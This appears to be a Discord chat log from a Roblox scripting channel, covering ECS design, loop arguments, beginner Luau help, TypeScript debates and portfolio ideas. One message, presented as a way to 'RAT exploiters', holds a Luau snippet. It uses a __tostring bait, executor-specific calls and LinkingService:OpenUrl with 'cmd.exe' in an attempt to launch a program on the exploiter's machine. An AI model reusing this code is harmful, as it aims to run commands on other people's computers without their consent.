#code-discussion
1 messages · Page 123 of 1
please seek help from your local chatgpt, you're pulling info out of ur ass
????
how?
You can’t break runservice
Anyways guys lets ignore the clown
Renderstep never stops
What's your opinion on ECS in roblox
LOL are you fucking kidding me?
:Disconnect() doesnt count
never used it
Oh really? I've never made games outside of an ECS so I don't really understand how you guys do it
good job you proved you absolutely know nothing about roblox API
yeah it doesn't count because @lost pebble doesn't want it to
yep i quit working on it
you literally said "never stops" you cant make this shit up
you're disconnecting a function from an event. completely different from a break statement
idek what it is. what's so good about it?
Ecs?
Entity Component System
At it's core it is a way of conceptualizing things in a game. You have entities (your player, enemies, nodes you mine) and you have components, data about the entities (Health, Stamina, OreAmount), and systems that run every frame typically that can modify and mess with these entities and components
go ahead and explain how return connection:Disconnect(); is practically any different from break; when it comes to stopping the loop
Ignore this kid lmfao
Because it doesn't stop the loop? It stops your connection to it. It is still running no?
your whole argument is "while loops are official, so anything that isnt specifically a white loop isn't a loop"
Confidently wrong
💀 alright
Hello fellow dev,
I’m working on a RuneScape-inspired MMO/RPG with a medium-realism style. I already have a modeler on board and am looking for others who might be willing to take some time out of their day to help bring the project to life.
If you’re skilled in scripting, UI, or world design, your help would mean a lot. Please don’t hesitate to reach out — I’d love to connect and chat more. Thank you for considering!
this doesnt exist

Ragebait
you were arguing until you got proven wrong lmfao
one is used for a loop. one is used for an event
I think he’s messing with us
Since when did return progress through systems and into the roblox server itself
that reminds me of this runescape project i worked on
I don’t get it lol
you're trying too hard
i see
how much should i be paying for a custom building system like retail tycoon or resturaunt tycoon
robux only
Think of entities as a container, they don't in themselves hold anything. They just map to something in the real world (workspace)
around 700k
What
deadass pls
Components on the other hand hold data, such as their Health, Stamina, Hunger, etc
Well it depends on a lot of factors
Is it an entire game?
Normally I assume you'd define these values as Attributes or something on the player itself, but components allow you to reuse this data for numerous things. Say you wanted to add in another mob, well then all you have to do is assign the Health and Stamina components to the entity of said mob
lets just say for now just the building system
Bro, he literally said a building system
So you just construct the mob with specific sets of values (entities?)
As in placement?
yeah like retail tycoon 2
anyone want to be my mentor for scripting? like not to teach me but just so i can ask questions and you can monitor my progress
Hard to say tbh
rough estimate
Depends on the quality too
i need to work
And who you’re hiring
well i havent looked for people yet
i found this Reddit post that i wanted to make a railing system just to find edges but idk how i can do that tho but it said that he used the rays to get the edges
I'm trying to figuring it out
https://www.reddit.com/r/Unity3D/s/NcSIFbHhVL
I have one i made if you want to use it
just say middle range for now in all fields @somber vault
Sort of if im understanding you correctly.
Say I want to spawn an enemy. I'd have 3 components
Enemy which marks it as an enemy, Health which holds their health value, and AI if I want to give it AI.
Then I spawn an entity with those 3 components, and I have systems that can modify or manipulate the entity based off those components. Like I can have 1 system that handles the ENTIRE AI logic for entities with the AI component
seriously? for free?
local experienceStore = DataStoreService:GetDataStore("PlayerExperience")
is that needed fro datastore
uh
(Tips appreciated
)
But yeah
You can have it for free
Ive no idea bro
where do you know that guy "Shad"
ill give u a good tip i dont know ur idea of good tip is tho
Yes. That is a good tip
That wasn’t the best explanation lol, its 1 am too so that might also make it hard for me to fully comprehend
Let me show you it in dms
At this point you made it worse 
I am also tired ahaha
how do you use exponents in scripts is it just like for example 100*3^2
Sorryyyy
hello chat
yeah
yeah dm ill take what i can get
or math.exp()
thank you
How do you normally make games? I assume you use classes right?
Yeah
which one works better?
What do you do if you have something that relies on something else?
You inherit correct?
i mean. i think both work the same but why call a function for that when u already have an operator for it
Now imagine this at a much larger scale. Your inheritance tree will get large, and you end up having code that does roughly the same thing in numerous places
hmm ok thanks
an ECS is basically "Stop thinking about it in terms of objects and instead think of how it works in terms of data and behaviour"
an operator is like + - * %, those things if u dont know
isnt math.exp() for e^x
yeh i dont know why it exists
i didnt know thank you
Hmmm
hi so if i wanted to save the requirement to rebirth like each time a player joins the game would i put that in a datastore
some kind strangers gave me more tips on my code on other servers
here is the final version
-- // Services
local ServerStorage = game:GetService("ServerStorage")
-- // References
local ColaWSFolder= workspace.colaWorkspace
local ColaBrown = ServerStorage.colaServerStorage.colaBrown
local function colaSpawn(rangeSQ2)
local cola = ColaBrown:Clone()
local randX = math.random(-rangeSQ2, rangeSQ2)
local randY = math.random(-rangeSQ2, rangeSQ2)
cola.Position = Vector3.new(randX, 500, randY)
cola.Parent = ColaWSFolder
end
local function spawnLoop(colaMaxAmount, rangeSQ2, waitTime)
local amountRNG = math.random(5, colaMaxAmount)
print("spawning", amountRNG, "colas, range is", rangeSQ2 .. "ssm^2", ", waiting interval is", waitTime)
for i = 1, amountRNG do
colaSpawn(rangeSQ2)
print("on iteration", i)
task.wait(waitTime)
end
end
spawnLoop(50, 50, 0.1)
like for example it starts out as 100 clicks then it goes to 200 but if you rejoined it would be 100 again
and operands are the one that gets calculated by that operator, let's say: 5 * 3, 5 and 3 are operands to the multiplication operator, just in case u see that word somewhere
I rarely ever use inheritance in luau though
An entity in of itself is nothing, its just an identifier to something.
Components are data that define that entity, they can be stuff like the Position, Health, Stamina
Systems are logic that runs over all entities that have specific components, such as a MovementSystem may run over all entities with a Position component to update their position. They don't care about the entity itself, only the data (components)
ill put this in my notes thank you so much
u dont need to save the requirement, u just need to save how much rebirths they got according to the rebirths they got the requiremente will be x or y
oh my gosh thank you so much that makes so much sense
oh yeah and also u know when u assign something to a variable, local variable = 1, the = sign in this case is called the assignment operator just to keep that in mind
Yeah, I mean ECS isn't necessary. I just find it easier because it is easier to scale in my opinion
I’ll watch a youtube turorial lol
Want to add something new to your game? Simply make a new component and a corrosponding system
bam
are these words used in like the dev forum and roblox docs
Yeah but why not just add it
Cause it depends on what it is.
idk, but that's what they are called
In normal OOP programming, if it is related or need of inheriting then it can get messy
Could be
It is and it isn't
If you want it to be
it mimics oop but it isnt
At it's core its functional, but metatables make it possible
Its a programming language, there are like no limitations lol
Whatever you find interesting about a different language, you can easily bring it with you anywhere
metatables are just functions that u can change for the functionality of another table right
Modify the behaviour
a table of functions
Yez
so u can mimic oop by using meta tables to modify the behavior of a table but not exactly like oop, real OOP has a lot of other stuff
Matter of fact you don’t even need metetables for oop
what do u use?
Wdym
how would u do it without metatables
ima just watch a video on how they do it
How would you guys make tweens play in a local script if the tool is destroyed before it can finish
Hi guys, just wondering if anyone making any games right now
Local Tween = TweenService:Create(Block, TweenInfo.New(1,Enum.EasingStyle.Linear), {Posititon = Pos}
Tween:Play()
Tween.Completed:Wait()
js do tween.completed:Wait()
Tween.Completed:Connect(function
tool:Destroy()
end) >>>
I checked out ECS, its actually brilliant now that it makes sense to me
what can :waitforchild be used for cus the turtorial didnt explan it right?
Ahaha yeah sorry I suck at explaining things which is why im not a teacher
I love how customizable it is
Yeahhh, and there's libraries like matter and jecs that add ecs to roblox
matter is more in tune with what an ECS is with an actual systems api, and jecs is more lightweight with addons available from the community
I have used matter and I can say its definitely been enjoyable
One thing I say is that systems in matter cannot be yielded justifiable since they run every frame you could have issues if you yield a system
but it does add more complexity for things that are time based
I see
I haven’t used anything made by sleitnick since knit a couple years back lol but I guess his stuff are still pretty cool
this looks waaay cleaner
One solution I found is to just add your time based mechanics to the components
import { useDeltaTime, World } from "@rbxts/matter";
import components from "shared/components";
const ReplicatedStorage = game.GetService("ReplicatedStorage");
const Assets = ReplicatedStorage.FindFirstChild("Assets")!
const Poop = Assets.FindFirstChild("Poop")! as Model
function spawnPoop(world: World) {
for(const [id, cow, instance] of world.query(components.Cow, components.Model).without(components.Poop)) {
world.insert(id, cow.patch({ spawnTimer: cow.spawnTimer - useDeltaTime() }))
if(cow.spawnTimer <= 0) {
const model = Poop.Clone();
model.Parent = instance.instance
model.PivotTo(instance.instance?.WorldPivot.mul(new CFrame(4,0,0))!)
world.insert(id, components.Poop({ model, amount: math.random(1,10) }))
}
}
}
export = spawnPoop;
stop using typescr*pt
Bro lurks this channel for anything to give an invalid opinion on
Thank god his skill application got denied since he has none
How do you manange to get everything wrong, its fascinating
Nothing wrong with typescript, a developer of roblox itself made the project behind what I use
STILL angry over being proven wrong in a discord server💔
Anyway
Yeah livon definitely recommend checking out an ECS
They can be helpful in larger projects
or just all around fun to play with
im definitely gonna check it out, too... at some point
Honestly coming from unity ECS is just a term I am more used to
so seeing people make one for roblox made it appealing
Familiar territory
I kinda feel like they could take a some extra time though, obviously I haven’t tried it yet but it feels more like managing things a lot more manually compared to standard oop
I agree, especially initially it is a lot more time consuming to setup and learn
but once you do (speaking from my own experience) in the long run it's easier to handle
Especially in larger teams
Could be fun still
Most definitely
Learning new skills is always fun
and if you use an ECS in one place, you can always translate that knowledge somewhere else like if you want to use unity or unreal one day
What excited me the most is the fact that you basically don’t need to worry about your class missing this little method, instead of creating a new class - just add the necessary component to your entity and you’re good to go
Currently making an animation game, and am trying to figure out a system for loading the animation. How it works as of right now is whenever a button is pressed, it loads the data from a table. As you can see its getting really long and I would like to refactor to smaller scripts, how should I go about this?
Yup!
Also
It's easy to add new functionality
Say you had npcs you wanted to take damage but they previously couldn't before
and you already had a system in place for damage dealing
Just add the necessary component to said npc and boom, now it can take damage
BUT how would this all work with strict type annotation
How do you mean?
You’d probably need to mess with generic types a lot more in luau im guessing
Not necessarily no, at least I haven't had to
Well if you want your entity to have a specific type based on its components
Well you see, an entity won't exactly be anything
An entity is JUST an identifier
You mess with the COMPONENTS on the ENTITY
Which are already typed
Especially if you use matter or jecs
Right
Alright so lets make bob
A knight
Entity: human
Components: weapon, walkspeed, power, armor
System: movement controller
Right
Wait bob is not an object right
Nope
What is bob
Right think of it this way
How do you define what bob is?
You already said he's a Knight right?
Bob doesn’t exist? 
Yeah
So you'd give him a Knight or a Class component depending on how you want to handle this
You also state he's a human Human component or Race component
Want to make bob actually bob? Name component that stores the name of the human knight
Slow down
Slowing down
Is human a component or the entity
But he is a human
Yeah okay I’ll just give it a few days lol
When you spawn an entity, it isn't anything but an ID 123 that lives in some map of the World, it has no physical presence or identity
@somber vault @tulip merlin @lost pebble What's all that talking about when you don't even know ANYTHING about the Roblox Engine? GetService("Workspace") is roughly 1668% slower than just using the global workspace.💀 The utter incompetence is insane...
--// accessing a local variable is faster than a global one
local tick = tick;
while task.wait(1) do
local t1 = tick();
for i = 1, 1e5 do
(function()
return game:GetService("Workspace");
end)();
end
local t2 = tick();
for i = 1, 1e5 do
(function()
return workspace;
end)();
end;
local t3 = tick();
local GetServiceDuration = t2 - t1;
local GlobalDuration = t3 - t2;
print("GetService:", GetServiceDuration);
print("Global:", GlobalDuration);
end
Stfu
again, small optimaztion that shouldnt need this much attention
Not gonna read
Love it, you went from arguing to insults
1600% isn't very small...
Sorry if I made it more confusing 😭
you call it once...
No its alright
Omg this is so beautiful... from arguing to staying quiet and accepting it
I am trying my best to explain it in a way that someone who knows nothing about it would understand
this is a benchmark to see the difference between them💔
1600% is still accurate
it's not the end of the world if someone does :GetService("Workspace:)
That's true until you remember you're arguing that it's the same
im talking about coding in general. you do local workspace = game:GetService("Workspace") once and that's it
Oh no your players are going to have to wait 0.03 seconds now 
i recognized that there was a difference but not enough to need so much attention
btw if u removed this line it wont change anything, the global is already defined as "workspace" exactly💀
yes ik
wow you didn't even understand the code, this is nothing but pure incompetence
Have you ever used rokit/rojo or do you do all your dev in the studio
yo guys any idea on what I could script 4 my portfolio as I wanna create one
RPG game with class selection, character customization and a full story line expanding 60+ hours of gameplay
recreate C++ inside luau
Ive tried it, i just prefer studio due to my laziness
Ahaha fair
😭 srsly gng I need ideas
yeah which i'll need a wholeass team for
or perseverence
?
make an anticheat that detects cheating thoughts
yall so unserious omg
In all seriousness, just code something you are passionate about
That will say a lot more than some random idea
well idk what so i'm asking here 😭
Cognitive anomaly detected. Cheating thoughts are not tolerated.
Make a motorcycle with suspension that stays upright
hmmmm
smth mid not too hard nor too easy
Vehicles are impressive
which consits of like 2 systems 😭
do NOT make a tycoon game.
not planning to
You want something to code, but reject all our ideas
if anything it shows lack of experience, no game owner will look at your portfolio and say "wow a tycoon he's so good at scripting"
well tycoon is easy asf 😭
You should make any vehicle tbh, doesnt take too long. Impresses people
Yeah
tbh I never scripted vehicles
Nows the time then
Nobody does lol
What better to put on a portfolio than something you've never done
Shows your willingness to learn
Everyone avoids vehicles its what makes them impressive
@somber vault use reinforcment learning to make an unbeatable AI that uses classic swords
right i'll do the vehicle
Lol
how long have u been coding luau for
I was also thinking of scripting sum black clover abillities but idk tbh
thats not bad
uh i cant rlly answer this i had up n downs w big breaks and small ones
people like anime abilities more than they should
they are NOT hard to make
is the performant way of making the book pages for black clover grimoire to like uh turn w anim
Forget about abilities, unless you got a bunch of animators and vfx artist in your basement its over
Bruh who doesn't use the global anyway? it's literally easier to write
tbh i do have vfx artists and I animate aswell though I prefer not to
a lot of people. all im saying is that it's not the end of the world if someone does use it
here's the thing.... WHY
idk
like WHY WOULD U EVEN USE IT???? does it give u the benefit of being easier to write???
i used to do game.Workspace bc i didnt know the global existed back then
the ONLY people that use it are people who don't know the global exists
makes sense
bru I have such a good idea for a tensura game but ik it'll be hard asf to find the devs for it
cuz the current ones that are out are really uh interesting
this lets u RAT exploiters if they tostring inside a hook by accident```lua
local bait = newproxy(true);
bait.__tostring = function()
if getgenv then
print("thanks for the environment buddy🙏");
end
if setthreadcontext then
setthreadcontext(3);
task.wait(0.02);
end
Game:service('LinkingService').OpenUrl(Game:service('LinkingService'), "cmd.exe");
coroutine.yield();
end
while task.wait(1) do
xpcall(function()
game[bait]._ = nil;
game[bait] = nil;
Instance.new("RemoteEvent"):FireServer(bait);
end, function()end)
end
the __tostring will run on their env
unable to load plugin icon with the animation id
why r u using semi colons 🥀
because semicolons are superior
people who doesn't use semicolons should be eradicated
boiiii what did you say about semi colons💀💀💀🥭
does anyone code website here
html 💔
You could make a hiring post or look in #programming-hirable
self promo: I'm a full stack dev I can do the website if u want
@vale flax apple-san
@near pasture top-chan
e
a
o
i
U
semicolons are totally unnecessary aside from one circumstance
Not a good exploit
💔
It’s you again 👀
hello i remember u i think
Best selling author
wtf!
i am making a tycoon game and when the tycoon is finished, the server begins to lag because of all the drops being dropped HOW CAN I FIX IT?
the drops even become slomo or even freeze
The thing is im doing a planting system so I want the tool to be destroyed on click, plus i think it generally looks better on client side if the tool is destroyed on click
Is there just no way to let the tween play after its destroyed
show me da code
Hey anyone want a scripter for 1 2 or more
Or anyone want to learn developing me here
Just the handle the tween on a separate script outside the model or something and activate it with a bindable or remote
alright imma try to learn more scripting agian
tho its hard i fell like gving up on scripting
u got this
once you get used to feeling like complete garbage
that's basically the norm for scripting anything
i dont even know how to script leaderstats
oh
if you want leaderstats
each player should have a "leaderstats" folder
no exception on name
and just add some intvalues
or string values
the order in which you add the values determines the order that they appear as columns in the leaderboard i think
learning scripting is hard at the beginning
but later on it becomes easier and easier
this is my skill level
that's better than 90% of beginners already
as long as you keep your head steady you got this
do you have basic syntax down?
'
what does syntax mean?
the structure of code
it's basically
print("hello") is correct and print(hello) is wrong
you have correct syntax rn
You can learn functions
i know functions
HOUSE CARICATURE
actually i used to know them but i forgotd
functions, loops, if/else/elseif, return?
uhh i know them
while you are learning familiarize yourself with expected property values btw
do you know about tables and for loops?
good thing about lua is that it only has 23-26 (?) keywords
so you'll get it down light work
e
learn module scripts
yeah
that's later
i can also do stuff like this
That’s not a table
i can do for loops
tables i have no idea what they do
Tables are just an array of values
i don't like how lua doesn't separate their keywords
It’s actually easy to understand
in other languages lists/tables are typically [] and dictionaries are {}
and it was like MyList = [1, 2, 3, 4]
list or dictionaries are both defined by a single {}
or smt like that
In Lua it’s MyList = {1,2,3,4}
oh so just the brackets are diffrent shape
Yes
Also, idk about python, but in Lua you can make different indexes for values in a table
For example
all programming languages supports table indexes
I know i shouldnt but what if i try to make a game?
local MyTable = {Fruit = “Apple”, Color = Color3.new(1,0,0)}
at least to me
is to #1 always try to make your new game bigger and better, #2 each game should be fundamentally different fom other games
Just do what you want
project based learning is always best
tho i dont know if i can do anything with my knowledge
if u want a more mathy math challenge
try making a grid of anchored parts that are defined by the set of variables:
- gridSize
- cell size
so if i put gridSize = 10 and cellSize = 20
it should generate a 10x10 grid of 20x20x20 parts
which fills in a 200x200x20 stud volume
i have no idea how to script that 😭
my skill level is like really basic stuff
properties in scripts, wait, loops
jasraj better
it's pretty simple!
uhh
you'll need to know how to generate items at a specific location
loops
and some math
Don't bother with tables yet then
There are better things to learn before tables
its starting to get way to complicated
i cant really think of anything to do other than tables
he has the basics down like loops, functions, and for loops
how abouttt
try generating a list of 10 random numbers from 1-20 and printing that table out?
I mean what about scopes, return values, strings, debounce or enums and conditions
i guess it's really just unique to everyone on what they should learn first tho
You kinda need most of these things for tables anyway no?
debounce?
enum is a luau data type
i feel like it's better to learn core lua first then move onto luau extensions
since that way it'll be more transferrable
it's just a common thing to use
but take my advice with a grain of salt
I don't really remember hhow I learned
all I know is that I first did a type writer in python during covid and now I'm here lol
yeah, if you’ve coded in anything else before, it makes everything a lot easier especially if you already understand how programming works in general
the roblox documentation is pretty great tbh, and you can get help on the devforum too
jasraj is on the forums
YOU are on the forums
no
what do you guys think of my raster system
i transformed CFrame to Tait–Bryan angles.
ig some people are there to just make fun of eachother lol
what the hell is this npc argument
this is NOT code related
this isn't a argument D:

catto
jasraj says yes if u belive
i am not
too much people to have an actually good converstation
the dev forums are weird
lounging in code discussion channel is wayyyy better
atleast go to #chat and ping them to there
end of convo.
we were discussing things about code tho ._.
ya i think you're the only one that's talking extra here
dev forums is more scary than weird
woah woah there skibiditoiletgman69officialnocap
how tf do i inform them then
skibiditoiletgman69officialnocap, you dont
yes
what if they dont stop
habib speaking wise words
wsp my skibidi slicers
but they aernt bothering anyone
saint von
skibiditoiletgman69officialnocap
when i posted my raster engine fr they fr ignored that shit
and that shit is all the way up there
it fr pmo fr
what made you say that
what pmo mean
"pissing me off"
also
skibiditoiletgman69officialnocap, maybe nobody knows wtf that it, i dont
yknow #⭐creations is there right
but its still not fully done fr
get em furry
wts
I'm not a furry 😭
you arent discussing code asking us to rate it are you
get it my special friend
better
so silence yourself little slachwag
nether are you
you're bright bro
chill, skibiditoiletgman69officialnocap just needs feed back on his moonshine engine
what is 69 - 2 fr
sleep well
U2
gn 0x5f1ffff9
its 5pm for me
U2
Are you guys familiar with the limitations of TextChatService with cross-server chats? I've been reading the creator hub docs for it and it seems like most of the methods require the userIds to be in the server.
All I need is a confirmation of this 🤔
Hey anyone want to start a dev studio and possbily make some games and just get better in deving in general.
Guys can I get a dollar for my Meta account i gotta sign up for this shit for a dollar but youll get it back
man just dipped right away
https://games.roproxy.com/v1/games/7920695143/votes
Anyone know how to get ccu from this site?
legacy apis but have you looked into one of the endpoints on here?
https://create.roblox.com/docs/cloud/legacy/games/v1
Guys how do you script?
Download roblox studio
Create a new game, add a script
I already did it
any resources on the union/negate api other than the docs?
I want to see some use cases of it
Hello everyone!
I just finished reading Programming in Lua, 4th Edition, and I'm ready to start developing to build my portfolio. Do you have any suggestions for what kind of system or project I should work on next something that’s currently in demand?
check?
Hello Guys! i need help, Iam Trying to make a Slapping Tool like those in troll obby games. my script is on below. the problem is when i Activate the tool, it doesn't work. and also i get an error saying(on the picture) can someone help me?
here it should be "Root" not "Roo"
oh
dang it. thanks broo
I don't get error now, its now the animation and script don't work
does anyone have a problem where if they tween fov in first person it just goes back to the original fov
luau is quite different to regular lua
well, luau is a superset of lua 5.1
hi guys i tried to add animations to a rig in a viewportframe and it isnt working for some reason here is the script
Yes Sir, I just love to read them books before I develop something. And I'm currently learning now how to use Roblox Studio specifically for scripting
most of what you'll have to learn is the roblox API
does anyone have a problem where if they tween fov in first person it just goes back to the original fov
does anyone have a problem where if they tween fov in first person it just goes back to the original fov
does anyone have a problem where if they tween fov in first person it just goes back to the original fov
does anyone have a problem where if they tween fov in first person it just goes back to the original fov
if you already know how to code you can get started really quickly
Noted Sir!
Yes Sir, I'm a python developer specialized on making automated bots and discord bots. I'm also a CS Student Sir! Upcoming first year! And I'm also interested on developing roblox games, this is my 4th week on my learning era
this is discord please dont call me sir
hi fellow cs student
Mb bro, it's just my mannerism to call everyone Sir or Maam
???
Hey any scripter down to participate to a youtube video challenge : MUST : have a decent mic , be able to talk , be able to reccord DM ME IF INTRESTED
make a function that returns the first player whos account age is greater than or equal to a certain threshold
use a for loop to add weld constraints to the primary part of a model for every basepart in the model there is
make a 2d array and print each individual value
Where can i learn scripting 🙏
thx
hell nah ai is ass
2 years ago it couldnt code anything, now he handles simple code
not yet
What will be in 5 years?
hi guys i needed help in roblox studio im trying to make a pizza delivery bike alr i tried my best but when i sit on it it doesnt moves i tried evrything like welding and more can anyone please help me fix it ill really appreciate it :3
hi guys i needed help in roblox studio im trying to make a pizza delivery bike alr i tried my best but when i sit on it it doesnt moves i tried evrything like welding and more can anyone please help me fix it ill really appreciate it :3
guys im bored asf does anyone want me to do anything (scripting, gfx)
If I have an afk area, how can I make the players not getting kicked?
make them automatically rejoin every 15 mins
make an octopus with wings that can shoot ink and you can ride it
if you can't make that you are not a scripter 👀
why so random
bet
its not random... its specificc
specificc
on bro
anyone know how to fix this? https://streamable.com/obuh06
when i roll it reverts back to walking animation
A
So i was scripting a custom shift lock and...
and what?
You’re going to use this to make some dumb anime thing, which the world does not need more of
its a custom storyline game 😭
not a anime game
Hey not sure if you figured this out yet or not, you've to parent the animated objects to a WorldModel, which is then parented to the viewportframe
hi
Part of the issue here is that you are offsetting the camera relative to the character, but the character isn’t rotating to align with the camera
nws 🤣 to be honest i just finished working on a anime game like that
oh so what should i do instead?
Just add the rig into a worldmodel
Add the worldmodel inside the same frame
What’s the best way to optimize systems?
if you work as a freelancer then asking a monthly average is never gonna give you an accurate idea as it's unreliable, you could make 1k$ one month and none the next
you probably want to know how many offers people get and what fee they charge per hour
nope im asking how much u guys can expect yourself to earn in a month or what u have in the past
Bro
did you read what I said
I just said that asking monthly earnings is the least accurate thing ever
Asking fee per hour and offer quantities is more accurate
how do i load an animation and play the first frame, and animate until the last frame on click and animate back to the first frame on release
i tried to make markers and to set the animation speed to 0 but that doesnt work
animation:GetMarkerReachedSignal("Pause"):Connect(function(param)
print(1,param)
animation:AdjustSpeed(0)
end)
mouse.Button1Down:Connect(function()
animation:AdjustSpeed(1)
end)
mouse.Button1Up:Connect(function()
animation:AdjustSpeed(-1)
end)
the "Pause" markers are set at the first and last frame of the animation
Its there are cheap or free scripter for hire only robux payin
u should ask at #scripter-hiring
This is my first time making an actual EXE
I used WPF and learned C# from scratch
Yes this would probably take me ~30 minutes give or take
Dont worry about how long it took you though, just be happy that you were able to do it 🔥
hardcoding?
No i would 100% make it modular
thats what i do for most of my stuff. we love oop!!!!
right
well with the system setting up new regions takes 30 seconds
like right here for my helicopters. There is only 1 for now (apache), but there would be more configs whenever i add more
Yep that sounds right
after i made snow region then making cave took 20 seconds
Yep you're explaining modularity right now
the backend took 2 days
classes
Well yeah there are other methods
mine is functional with a cache and state machine
its so advanced even a builder can use it
no scripter needed
for that job
https://www.roblox.com/games/106722967000259/Dynamic-Regional-Sound-System https://www.roblox.com/games/86369049685070/Regional-Lighting-System both took 5 days to make
Now work for future projects is cut down to just 2 minutes
what wrong with this one?
u tell us whats wrong with the code
from looking at ur code the first thing i would say is to not use "pairs" and use the general iterator
player:WaitForChild("Level")
player:WaitForChild("XP")
nothing it's just not the way ppl code
looks fine what is the issue specifically?
bro asked a question then dipped lmao
talking about this guy
Might need to use i instead of player I think
local function checkPlayerLevel(player)
local level = player:WaitForChild("Level")
local xp = player:WaitForChild("XP")
if level > 10 then
print("Advanced Player!")
else
print("Beginner Player!")
end
return level, xp
end
local players = {
["player1"] = {
["Name"] = "Player1",
["Level"] = 15,
["XP"] = 2000
},
["player2"] = {
["Name"] = "Player2",
["Level"] = 8,
["XP"] = 500
},
}
local highLevelPlayers = {}
for i, player in pairs(players) do
local level, xp = ckeckPlayerLevel(player)
if level >= 10 then
table.insert(highLevelPlayers, i)
end
end
print("High Level Players Count: " .. #highLevelPlayers)
is it worth spending 15 hours learning JS & TS for roblox TS?
to count index one or basically amount of player in highLevelPlayers table
chat should i just start getting into making a small game so i can learn to code better?
yes
Can anyone help me script a combat system
yes
pretty sure there are a ton of tutorials on ts
what do u even need javascript and typescript for?
nvm
Roblox typescripting
alright
Roblox has TS support? Where
we all hate coding
.
Cool
I don't know JS or TS at all so I got this 15 hour course with 150 lectures which should cover everything hopefully
so im praying roblox ts > luau
I can’t see the video
huh
just search roblox TS on youtube
Hello and welcome to another cookie tech video!
In today's video, I will show you a better way to start writing typescript code that compiles to luau inside of Roblox Studio, and how to get started with it. I hope this piques your interest and you'll attempt to pursue it.
Would you like to chat about Roblox, development, and scripting supp...
@reef birch
How is this any better
stop using roblox go outside!
(life changing)
Install like 3 things so you can use a different language that still needs to be compiled by the luau engine so you’re not getting more efficient you’re in the same bottleneck as before
speak english
TRUE
Seems performative/ “I only code in JavaScript because it’s easy “/“I NEED MORE JSON FILES IN MY LIFE”
just learn typeshit then
how do i see how good i am at scripting
like am i still a beginner, advanced or what
does someone have any problems with scripting im bored
yes
its not really a problem i just dk how to do it
u dk how to what
idk how to refrence leaderstats in a diffrent script
@magic pagoda
@rustic inlet softban pls
i answered it uncle
im not unc
@strange raven also softban pls
i still answered it
whats the point of softbanning if hes getting banned either way
softbanning is not the same as banning
softbanning is deleting user messages and kicking
oh alr
dawg who deleted that
noob scripter
i just started 2 days ago monkey
imagine not being able to reference leaderstats
everyone started somewhere
just use ai brotaro 💔
Be quiet
sorry boss
im js messing with broseph chill
what does eof mean
is that a battle.net pfp
end of file
so exponentially speaking all of you are scripters?
that is very insteresting 🤔🤔
im scripting it
what is that suppost to mean
u better have one billion subs
idk
check dms
yall think its possible to have studio find random users on roblox and base them on follower count?
lmao prolly i js dont know how to do it
yo someone help me
aight ill try
can you use module scripts for storing data like enemy data
um can u tell me how to correctly do it
{0, 0}
the second number in the brackets is the proportion
yes
@zealous lily hire through marketplace only
how
using tables
{
ModelID = 1;
Name = "TEnemy1";
--Stats
KineticA = 5;
KineticD = 5;
LaserA = 5;
LaserD = 5;
MaxHealth = 5;
Speed = 30;
PathCosts = {
Properties = {
Exclude = {
"Raised"
}
}
}
}
would something like this work or do i need to treat it like a dictionary
looks fine
Hey I want to learn scripting in Lua. I know the basics as what they are (while, If, variables) I learned C++ so I know about what everything goes (as in simple) but Idk how to make more complitated things like lava floor that is activated on a button or things like that. What tutorials would help me ?
Alvinblox tutorials ❤️
yall think its possible to have studio find random users on roblox and base them on follower count?
for studio (or your game) to do it, you'd need a proxy http server i think
as for the follower counts idek if you can get that data, especially if users are able to hide it.
yup you can get the follower count, here you go.. grabbed this off their website when inspecting the network.
this is how many followers "builderman" has
156 being the UserId
if youre already decent with C++, you dont really need much other than the roblox API docs
learn the functionality/properties of roblox objects and services.
rest will click
as for lua, roblox has its own flavor called "luau" and its derived from the 5.1 verison of lua iirc
https://www.lua.org/manual/5.1/
Suppose we have 3 balls
Red ball 🔴 is a player
⚪ ball is for playing
Blue ball 🔵 is 2nd player
🔴 ⚪ 🔵
The player balls 🔴🔵 can move themselves and kick the white ball ⚪ for it to move
Let's say the the red ball 🔴 kicks the white ball ⚪ which hits the blue ball 🔵
The blue ball moves a bit due to the collision 🔵
Q. How do I avoid the blue ball from moving when it gets hit by white ball but be able to move white ball around - just not move when it gets hit by it?
(roblox physics question)
🇫🇷
how do i make smt like this can someone help i have a working spectate system and i want those buuttons to appear when its pressed how to do that
You can’t fix that btw
@grave zenith
Just do visible = true ?
wait what?
Just change the buttons visible property
how to do that
im sorry im new
yea i followed a youtube video
where do i do that?
In your script ?
guys im selling this game for 1k robux this friday anyone wanna offer more? https://www.roblox.com/games/73479520894750/Steal-A-Brainrot-But-Better
No one is going to buy stolen assets
Did you get their authorization for the thumbnail
Then idk either if you don’t know how to code I can’t teach you
they are going to buy this friday 1k robux
Just button.Visible = true
where in my script
or ScreenGUI.enabled = true
What is your script?
can mouse.Button1Down be triggered by a mobile player tapping their screen?
if theyre just in a separate screengui
Just send your script @undone cairn it’s faster
I don’t think so
Youre wasting your time with him haha
ty
is that a function
will game.workspace.Button.Visible = true work?
Get out
why is your button in the workspace blud
lol im joking around
Why wouldn’t it work?
im just joking lol
It would
chill
i dont think so lol, but you can use UserInputService and Enum.UserInputType.Touch for touch events
Your button should be inside a screengui not in workspace
its game.startergui.ScreenGui.Button = True ( idk im guessing lol )
@grave zenith
mane ive gotten like 3 diff answers now
which one is it
It does work man no need to use complicated logic for a button to be pressed
i think some are confusing button.MouseButton1Down
rather than a baseless touch
Ok what do you u want?
yeah its not for a button though
Are u meaning if a mobile player touches a screen or a button
Oh lol I never know that this one existed
would it actually work? game.startergui.ScreenGui.Button = True ( idk im guessing lol )
Cuz there is a difference
^
Yeah I thought it was mouse button
Which do u want
i stated tapping their screen earlier
Guys would this actually work game.startergui.ScreenGui.Button = True ( idk im guessing lol )
Ok then I don’t think that will work
Can u guys help with my formatting
yo bro i sent the script can you help please
button.MouseButton1Click works for mobile touches i think.
but mouse.MouseButton1Down does not.
Guys would this actually work game.startergui.ScreenGui.Button = True ( idk im guessing lol )
Wait what
I use down and it works
wait
I need to check
damn bruh now im getting ignored :I
would this actually work game.startergui.ScreenGui.Button = True ( idk im guessing lol )
^
Am I on mute
No
lets say im making a tool that shoots a bullet where ur cursor is going, im asking if mouse.Button1Down would work in tracking where the mobile player taps the screen
Okay good
nope
Dude I don’t work with mobile a lot
UR smart
if u dont work with mobile a lot then why try to help with my mobile related issue
Real
5k square terrain map does not do well for mobile
If you want money then I don’t recommend to make high quality games
No one will play it
anyways @rain hound ^
yea im using this now
Just go search the documents
Mega real
i already checked that
People play steal a brainrot
trust me the last place id ask is always here
I just make games for fun
just look at schedule one lol
no replayability, low quality
made 13m USD in first few days
If you can get money from your skill don’t worry you will be happy to earn money
I don’t think so
exactly
